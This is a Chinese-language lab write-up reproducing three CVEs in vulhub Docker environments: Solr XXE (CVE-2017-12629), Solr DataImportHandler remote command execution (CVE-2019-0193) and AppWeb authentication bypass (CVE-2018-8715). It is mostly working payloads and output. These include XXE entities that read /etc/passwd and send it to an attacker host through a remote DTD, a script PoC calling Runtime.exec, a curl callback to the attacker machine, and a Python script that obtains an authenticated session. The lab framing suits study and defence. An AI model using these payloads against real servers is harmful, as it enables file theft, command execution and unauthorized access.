docker/docker-compose 复现漏洞
复现基于：
docker : https://www.docker.com/
vulhub : https://vulhub.org/
docker 安装 & docker-compose 安装
教程地址：
vulhub
详细：这个里面安装docker-compose方法挺好的
开始前的准备
1.获取vulhub
git clone https://github.com/vulhub/vulhub.git
或者直接从仓库克隆镜像
2.获取环境并运行
选择一个要复现的CVE，切换到该目录，查看其中的文档教程
获取并启动容器：docker-compose up -d
建议在管理员身份执行，不然可能会报错 No module named ssl_match_hostname
3.启动后，访问 http://your-ip:port 即可(文档中提供了端口port)也可以直接输入 127.0.0.1:port
实例（持续更新）
0x01：Apache solr XML 实体注入漏洞（CVE-2017-12629）
参考文章：
1.从Blind XXE漏洞到读取Root文件的系统提权
2.vulhub文档
环境：
| 名称 | IP |
|---|---|
| 靶机 | 192.168.230.132:8983 |
| 攻击机 | 192.168.230.133 |
漏洞成因:大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
这是一个典型XXE漏洞的缺陷编码示例，Lucene包含了一个查询解析器支持XML格式进行数据查询，出现问题的代码片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中
通过查看调用栈中的数据处理流程，在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理，造成了Blind XXE。
步骤：
环境自身已经帮我们创建了一个demo的core，自己创建的话会出问题，显示少了一些配置文件，所以直接利用这个demo
漏洞处在：http://192.168.230.132:8983/solr/demo/select?q=YouAreHacked&wt=xml&defType=xmlparser这个接口，调用接口的具体页面应该是在这里 http://192.168.230.132:8983/solr/#/demo/query
由于已知是XXE，那么首先测试一下会不会是简单直接的有回显的XXE
payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE easy [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<easy>&file;</easy>
很遗憾，失败了，并不会直接出现在页面上
报错：
No QueryObjectBuilder defined for node easy in {q=<?xml+version%3D"1.0"+encoding%3D"utf-8"?>+%0a<!DOCTYPE+easy+[++%0a<!ENTITY+file+SYSTEM+"file:///etc/passwd">+]>+%0a<easy>%26file;</easy>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
那就复杂一点的：
首先测试一下是否对DTD和外部实体进行禁用处理：
payload：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/getmsg.php?msg=test">
%remote;]>
<root/>
//注意：上述的 remote 实体调用的是自己搭建的用于接收接收信息的页面，确定靶机是否访问了外网，便于后续引用外部实体
//注意还有一点，上述payload需要URL编码，否则会报错
于是访问页面 http://192.168.230.132:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//192.168.230.133/wordpress/msg/getmsg.php%3Fmsg%3Dtest%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser
查看攻击机上的记录：
很明显访问了外网
第一种，利用报错形成有回显的XXE：
payload：
<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://192.168.230.133/wordpress/msg/test.dtd">
%ext;
%ent;
]>
<r>&data;</r>
攻击机(远程主机)上的外部实体 test.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
第二种：既然能访问外网，那么能不能将数据外带呢？----无回显的XXE
payload：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/test2.dtd">
%remote;
%int;
%send;
]>
<root/>
``
攻击机(远程主机)上的外部实体 `test2.dtd`
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.230.133/wordpress/msg/getmsg.php?msg=%file;'>">
很遗憾，又失败了。这是为什么？PHP上是可以执行的，为什么JAVA版的就不行呢？
最终报错：
Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
问题经过测试 出现在 %file;处，改成其他字符而不是引用实体的话没任何问题,唯独 %file; 不行。我心态崩了呀！
更改 %file;为'aaa2'的话，出现报错为:
org.apache.solr.search.SyntaxError: No QueryObjectBuilder defined for node root in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
但是会发送数据，即执行 <!ENTITY % send SYSTEM 'http://192.168.230.133/wordpress/msg/getmsg.php?msg=aaa2'>
复现过程中也遇到同样的问题的师傅可以交流一下
0x02 Apache Solr 远程命令执行漏洞（CVE-2019-0193）
环境：
| 名称 | IP |
|---|---|
| 靶机 | 192.168.230.132:8983 |
| 攻击机 | 192.168.230.133 |
漏洞成因：*** |
步骤：
首先启动漏洞环境，并创建一个叫做 test 的 core
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
打开漏洞页面 http://192.168.230.132:8983/solr/#/test/dataimport//dataimport，勾选 debug
点击 Execute with this Confuguration 执行
poc:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/test.txt");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
结果：
由于环境里面没有nc，所以也反弹不了 shell，但是有curl，所以可以访问一下攻击机
命令为 curl http://192.168.230.133/wordpress/msg/getmsg.php?msg=YouAreHacked!
0x03：AppWeb认证绕过漏洞（CVE-2018-8715）
参考文章：
AppWeb认证绕过漏洞
环境：
| 名称 | IP |
|---|---|
| 靶机 | 192.168.230.138:8080 |
| 攻击机 | 192.168.1.100 |
漏洞成因：
AppWeb 是 Embedthis Software LLC 公司负责开发维护的一个基于 GPL 开源协议的嵌入式 Web Server。他使用 C/C++ 来编写，能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供 Web Application 容器。
AppWeb 可以进行认证配置，其认证方式包括以下三种：
- basic 传统 HTTP 基础认证
- digest 改进版 HTTP 基础认证，认证成功后将使用Cookie来保存状态，而不用再传递 Authorization 头
- form 表单认证
其 7.0.3 之前的版本中，对于 digest 和 form 两种认证方式，如果用户传入的密码为null（也就是没有传递密码参数），appweb 将因为一个逻辑错误导致直接认证成功，并返回session。
利用前提：利用该漏洞需要知道一个已存在的用户名，当前环境下用户名为 admin。
步骤：
-
打开网页，提示输入用户名/密码(form 表单认证)，如果点击取消，不输入账号密码，也会显示未授权
具体请求报文为：
-
在刷新网页时抓包，并且在请求头中添加
Authorization: Digest username=admin，也就是将认证方式替换为 basic 传统 HTTP 基础认证方式
我们并没有传入密码字段，服务端在处理时出现了错误，对比步骤一中可以看到响应报文中的内容多了 Set-Cookie 字段，内容为一个 session，并且响应结果也变成了认证成功的响应
- 将
-http-session-添加到 cookie 中
然后重新发起请求，可以发现，已经绕过了认证
简单的漏洞探测脚本：
# 用法：python CVE-2018-8715.py url username
import requests
import sys
url = sys.argv[1]
user = sys.argv[2]
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
'Authorization':'Digest username='+user
}
response = requests.post(url,headers=headers)
if(response.status_code == 200):
print("该网站存在漏洞，返回的 session 为：" + response.headers['Set-Cookie'])
else:
print("Falied!")
